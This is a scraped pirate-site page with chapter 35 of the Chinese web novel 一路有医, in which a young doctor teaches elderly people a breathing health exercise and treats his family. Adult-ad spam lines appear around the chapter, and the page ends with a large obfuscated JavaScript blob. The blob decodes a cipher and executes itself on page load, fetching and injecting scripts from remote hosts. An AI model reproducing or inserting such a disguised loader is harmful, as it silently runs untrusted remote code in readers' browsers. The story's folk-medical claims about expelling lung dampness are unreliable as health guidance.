足迹
一路有医最新
登录
关灯
护眼
字体:

第35章 传授(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁黑丝纯欲主播-免费

马叔对张三的这个养生操也很有兴趣,回到医馆就向张三了解。张三干脆就把两个动作给马叔演练了一下,然后又给马叔讲了一下动作要领和呼吸节奏。

第一套动作张三教过张母,只要有时间母子两个也会一起做这套养生操。第二套动作张三还没有来得及教给母亲。动作其实与第一套动作相差不是很大,只是强调了拇指对应肺经的一种锻炼,可排泄体内肺脉之气,有解表清热,苏厥开窍的作用。常年锻炼能排除肺内湿气。尤其是最后的一个动作,配合呼吸在一口气吐尽之后,收臀在体内再赶出一口气,同时咬牙口内发出嘶音。

这是整套动作的精华,最为重要。也是与第一套动作的最大区别。马叔试着把两套动作做了一遍,“我怎么觉得有些像气功,对呼吸挺看重的。”

“气功我不懂,我觉得强调呼吸的目的就是扩张肺部,然后再收缩,用动作引导肺气和湿气也就带出去了。”

张三对这个养生操的发掘者也是由衷的钦佩,这该是怎样一种大才推敲出这套动作。看论坛里作者的意思,养生操应该还有其他动作,不仅仅只是锻炼一个肺部。对后续他是非常期待。马叔一只手抚着胸部,“好像有点感觉,感觉挺拔了一点。”

张三笑了,“马叔,你这只做了一遍啊,怎么可能有感觉呢,要求是要做四十九遍的,我和我妈在家做过,我觉得有点意思。”

马叔没有一点尴尬的意思,“我说你这是哪来的?动作太多,那些老头老太太不好坚持。”

张三一想,这也没什么不可告人的就对马叔坦白,“在网上学的,试着做了几次,就教给我妈了,她都能做下来,养老院的人应该也没问题。”

马叔点点头,心里琢磨,是不是自己也该买台电脑给自己充充电。

下班前马叔拉住张三,一再强调不要做自不量力的事,老钱头的事真的不能插手。马叔看出张三对这个病症念念不忘。“我知道你进步快,可是再怎么说你也只是人不是神,我们这行真的不能太把自己当回事,当然也别把自己太不当回事,一切都是一个缘字。碰上了就试着上上手,别做勉强的事。砸了招牌可没机会后悔的。”

张三能感受到马叔的真挚,真的没当自己是外人。

再次见到老钱就是第二天了,看气色还好,精神也没有太过萎靡,应该是接受了现实。看到张三的时候老钱眼神有些复杂,但最终还是恢复了理智,人家给你检查出了问题,你没有理由责怪的。要说没有怨怼,也不尽然,毕竟打破了自己的平静生活,这是老钱自欺欺人时候的念头。张三和老钱招呼了一声,看老钱笑的很僵硬,本来想着再给老钱看看的,现在这样子,也不好开口了。

因为要教授养生操,所以今天的检查就控制了时间,早上十点就结束体检,大家一起到张瑞安排的大教室里集合,今天能来的都来了,尤其前几天接受张三调理治疗的那些老人,兴致勃勃的站在最前面,他们中有几个本身也是这个群体内的核心人物。百十个人挤在教室里,虽然是以前专业学校的大教室,也挤得满满当当。张三站在讲台上,第一次被这么多人关注,张三有些不适应。等开口说了几句话后也就放开了。

张瑞专门准备了话筒,张三对着话筒大概描述了一下动作。然后就侧对着台下,慢慢把第一套动作连讲解带教授的做了几遍。台下老人看动作很简单,也就跟着照做。

其实这第一套动作本就不复杂。强调了一个绵长平缓,只要注意有节奏的呼吸,再把最后一个动作做的标准就不会有什么问题,果然,台下老人对最后一个动作理解的都不太好。给前面站着的几个老人手把手的教了几遍后,大家也就慢慢掌握了。看着在台下认真学习的老钱头,张三心里有些复杂。想想自己母亲,真希望时间就此停止,让快乐永恒,让苦痛就此停歇。

第二套动作就有些费劲了,尤其最后一个动作需要从肺内挤压出最后一口气在嘴里发出嘶音,这就要在气尽后通过收缩谷道才能赶出肺里的最后一口气,一时间大家很难做到。

张三不急,当初自己能做到也是多做了几次才找到了感觉,感觉一找到就不会再有问题。看着张瑞也在身边费劲的提气,张三直接就上手帮忙。可能是因为年轻的缘故,张瑞很快就有了感觉,等真的发出嘶音并把提出的气赶出身体后,张瑞告诉张三,好像真的轻松了一些。

张三听着想笑,“张总,要给大家强调,不是一定要重复四十九次,最好是量力而行,只要每次能把最后一个动作做标准了就有效果的。四十九次是建议不是必须。”

老人们都沉浸在这两套动作当中,以他们对张三的认知,知道不会欺骗大家。张三看大家慢慢都上手了就让大家放松心情一步步的熟悉,自己则向体检处走去,马叔还在那里呢。

张瑞跟了上来,顺手就给张三递了一个红包,张三有些吃惊。“张大夫,这是给你的辛苦费,不算在那些费用里的。”

张瑞面色平静一副天经地义的样子。张三急忙把红包递还给张瑞,“马叔昨天说了,这个不收费的。”

小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!

"不仅仅是教大家养生,前几天你也治好了我妈啊。”

张瑞看着张三越发觉得满意,“回头我还有事和你商量呢。这点心意你一定要收下。”

张三执意不收,张瑞执意要给,拉拉扯扯的张瑞看不是个事,就收了起来,咱们来日方长。

回医馆后,张三把张瑞给红包的事告诉了马叔,马叔听到张三拒绝气的拍了一下张三,“你小子穷大方,那几个钱人家就没看在眼里,你为什么不收?”

说完气鼓鼓的撅着嘴看着有些像小孩。

“我压根就没想过收钱,你昨天也说免费的,今天再收钱那不是打你脸呢。”

张三解释着。“你懂个屁,人家那是看你有手艺怕你以后不尽心才给你的。”

说完又问了一句,“里面有多少钱?”

下午张三姐夫段军来了,说是张三开的丸药吃完了。过来再拿几几盒,张三问二姐现在什么情况,段军说不出个所以然来,张三拉着姐夫的手诊脉,还不错有效果,已经有定阳之态。看姐夫舌苔下焦发黄,取二姐药丸的时候就又拿了两盒天青丸交给姐夫并要他转告二姐,晚上到家里来做个检查。

张三看着桌前坐着的一家人,母亲、大姐、二姐、二姐夫。加上自己一家人就齐了。

大姐的痛经之症按照计划等下次疼的时候再下一次针就可以服药了,估计三个月也就调理过来了,母亲的双腿,骨头变形是没有什么办法了,只要不再疼痛,摇摇摆摆的走路也没什么。觉得难看拿个拐杖就行了。坚持服药调理,药包继续外敷,等再针两个疗程就可以巩固了。二姐夫的调理效果也不错,毕竟年轻,身体基础就在那里,恢复也只是时间问题,至于二姐,刚才检查后结果也还好,再制作一些温经汤的丸药就行,正好李秋景也有这个需求。

看着一家人,张三突然意识到自己已经能为他们做些事情了,一股自豪感油然而生。看看墙上父亲的遗照,照片中父亲满眼温柔,嘴角含笑。。。。。。。

喜欢一路有医请大家收藏:(

http:www。xiakezw。com"

target="

_blank"

class="

linkcontent"

>www。xiakezw。com)一路有医

🎁黑丝纯欲主播-免费请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="v5fua0y2hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n/h^/@Q}jR8Xn7_d0T@h("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@Q}"=^8"Xn7_d0T@h("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@Q}d2(LCYmRD(JhfmRT4"="@Q}5p(LYpmq^Xf(LmRT4"="@Q}D7(LSqm(f24hJmRT4"="@Q}dC(LJ^mRD(JhfmRT4"="@Q}(C(L:4mq^Xf(LmRT4"="@Q}C2(LSYm(f24hJmRT4"="@Q}25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmX{LX@ShmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmX{LX@ShmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n/f/@Q}j(8}vR8Xn7_d0T@h("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();